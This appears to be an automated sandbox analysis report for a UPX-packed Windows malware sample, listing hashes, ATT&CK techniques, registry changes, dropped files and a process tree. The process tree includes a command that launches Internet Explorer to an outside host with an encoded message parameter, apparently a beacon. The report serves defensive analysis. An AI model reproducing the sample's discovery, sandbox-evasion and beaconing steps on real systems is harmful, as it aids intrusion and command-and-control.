9d256b7f879843ceb9f60c2e1e1f80fead34d193df640189dea485b5cc11778d

Analysis

max time kernel
135s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
25/08/2024, 09:38

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General

Target

c074e4ed3c8c3c1cdd3b12b63bb6f6a2_JaffaCakes118.exe
Size

158KB
MD5

c074e4ed3c8c3c1cdd3b12b63bb6f6a2
SHA1

7e6c8d1b89677a0939d6d368d616631a62b877d3
SHA256

9d256b7f879843ceb9f60c2e1e1f80fead34d193df640189dea485b5cc11778d
SHA512

7bddfc809841f8d9de5b8c2e6afd14f3b63cdad181ed2428c82a64cf38bdd7540e265996d469333a272665bd1f439d1da34883e4ef27dbb916c151ae44f4d2ec
SSDEEP

3072:fwABjrG3Vi/cOBLUsmyi4AHhmTdI3wIe0HRDLVT/sOrVzzXk:oGjrUVecOJUsmdmdI3vPRDLp/s0z0

Score

7^/10

discovery upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	c074e4ed3c8c3c1cdd3b12b63bb6f6a2_JaffaCakes118.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1792-0-0x0000000000400000-0x0000000000435000-memory.dmp	upx
behavioral2/memory/1792-11-0x0000000000400000-0x0000000000435000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\fbaeeedbfde.dll	c074e4ed3c8c3c1cdd3b12b63bb6f6a2_JaffaCakes118.exe
File opened for modification	C:\Windows\SysWOW64\RCXC1C9.tmp	c074e4ed3c8c3c1cdd3b12b63bb6f6a2_JaffaCakes118.exe
File opened for modification	C:\Windows\SysWOW64\fbaeeedbfde.dll	c074e4ed3c8c3c1cdd3b12b63bb6f6a2_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c074e4ed3c8c3c1cdd3b12b63bb6f6a2_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key created	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	c074e4ed3c8c3c1cdd3b12b63bb6f6a2_JaffaCakes118.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	c074e4ed3c8c3c1cdd3b12b63bb6f6a2_JaffaCakes118.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	c074e4ed3c8c3c1cdd3b12b63bb6f6a2_JaffaCakes118.exe

Modifies Internet Explorer settings 1 TTPs 37 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "2645251905"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31127250"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000001bc9387f4f791b45af7c7e57591307f1000000000200000000001066000000010000200000007fac7c8f5fdea9dd7ba7faa01672314ac7292f0b836c2a3a3562d640b8ba8ea9000000000e80000000020000200000006e581acda56dcbaa065fe4219fd2cb5e8486369fb4e514594af458c13d4f8a7620000000d997ca1c0edbe00349361268e05691a32c319bfa759bcba18bc280a6ee995ace400000004aa1f71369320d9200e752a8b4ddc05e3c4257b6ec92c5ddfdd8428042f4334ac2f432d3ff7ccfc6b6a5d4b725c8ab2e512233ac565515436e768ab1fc38af76	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{C9442F30-62C5-11EF-BB4F-562BAB028465} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31127250"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 00593a9ed2f6da01	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2645251905"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2647439728"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000001bc9387f4f791b45af7c7e57591307f1000000000200000000001066000000010000200000006bd5211393bf4a8a1829ce20dcc6990d4cdf0ddbecb66b325a8383409a63c1ff000000000e8000000002000020000000c663914bac9a55b6ee5a3680734a09e88abf668ac61ea33afd58e3ff31567e3a20000000cddfb1fb59880d05a05677470193b748cf83cb1f8fff31dd365c50e7d72b661240000000fdc3d20e2ea805adea5b5e27d203f861d222ad43faa08fc4364b88c9168e524e1935be448bada0e4fdaa2084988c08c2aa7e85a0106bc271b72e656a8d6d77e8	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f084419ed2f6da01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "431343684"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31127250"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4944	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4944	iexplore.exe
4944	iexplore.exe
4196	IEXPLORE.EXE
4196	IEXPLORE.EXE
4196	IEXPLORE.EXE
4196	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1792 wrote to memory of 1528	1792	c074e4ed3c8c3c1cdd3b12b63bb6f6a2_JaffaCakes118.exe	85
PID 1792 wrote to memory of 1528	1792	c074e4ed3c8c3c1cdd3b12b63bb6f6a2_JaffaCakes118.exe	85
PID 1792 wrote to memory of 1528	1792	c074e4ed3c8c3c1cdd3b12b63bb6f6a2_JaffaCakes118.exe	85
PID 1792 wrote to memory of 4944	1792	c074e4ed3c8c3c1cdd3b12b63bb6f6a2_JaffaCakes118.exe	88
PID 1792 wrote to memory of 4944	1792	c074e4ed3c8c3c1cdd3b12b63bb6f6a2_JaffaCakes118.exe	88
PID 4944 wrote to memory of 4196	4944	iexplore.exe	89
PID 4944 wrote to memory of 4196	4944	iexplore.exe	89
PID 4944 wrote to memory of 4196	4944	iexplore.exe	89

C:\Users\Admin\AppData\Local\Temp\c074e4ed3c8c3c1cdd3b12b63bb6f6a2_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\c074e4ed3c8c3c1cdd3b12b63bb6f6a2_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:1792
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\e74e030007299e6a6cc74f11e6f8dd1e.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1528
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://wl.cabolar.com/v3062/repins.jpg?msg=HFCgfXDDXf8VvCheNRb4ldnLiTXO5GFaj6NQ3iSljgrvkaLJrSHnBnthvH85a0t8KQXFlwWYygiWoLv0lFOULIVi9Y13PAYGnThepuGu%2BiXrwTCMSuyeFnGDpw3V5fMw
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4944 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:4196

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
471B

MD5
e0bb119b734bd28ccbf31009397367f5

SHA1
54b097cc98bfe23500e25603d088a6b3eee7c97a

SHA256
05dc8c8c93f13fcc388a93f5cf37bc6b3ce00112b91204a8349f6e5c739f3036

SHA512
37648d6d957b5ae64cc5a459d144ca693b63a83885b19221c153b0aba0bd7aff392ca75b375bd2d7a7f8be02de0bba804e50f3afd95e73a4357089cc32aba147

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
404B

MD5
66fbe2294365a268c5a3013c078156c2

SHA1
836d9a0b23953e78d19ac4ff66e1292baf2a0044

SHA256
5add961f26adad7894ca9aaab13329f9dc454609cbb18f572d4fbfada59d80a0

SHA512
c4c945e621a8c1809ba753f26ef8d46a2d98c5915be0f77f4f45b9f23e2d40a64ed8af383dc53f9a4f107974c69333e3ac41dabc683f43e12bf376de7450140c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\KDOTUZKP\suggestions[1].en-US

Filesize
17KB

MD5
5a34cb996293fde2cb7a4ac89587393a

SHA1
3c96c993500690d1a77873cd62bc639b3a10653f

SHA256
c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

SHA512
e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\e74e030007299e6a6cc74f11e6f8dd1e.bat

Filesize
209B

MD5
9e5d95423696f1474083ae05b2ed1fd8

SHA1
f63db69c6adcc0cbc5aea5ea7a951a7e905b95a0

SHA256
1ff40fc7d7d004239f5777c4da227a08f35e46b340da09c6d713ad135fc8b91d

SHA512
bf706b153fcaf9478b873dc74b9acbbbd83e581638c9d99c69c0a029fe9f34af066370eccaf3d90b611da41f6e078735428d61ee7c31bfd5ec0610f821e82f19

Download Submit
memory/1792-0-0x0000000000400000-0x0000000000435000-memory.dmp

Filesize
212KB

Download
memory/1792-11-0x0000000000400000-0x0000000000435000-memory.dmp

Filesize
212KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads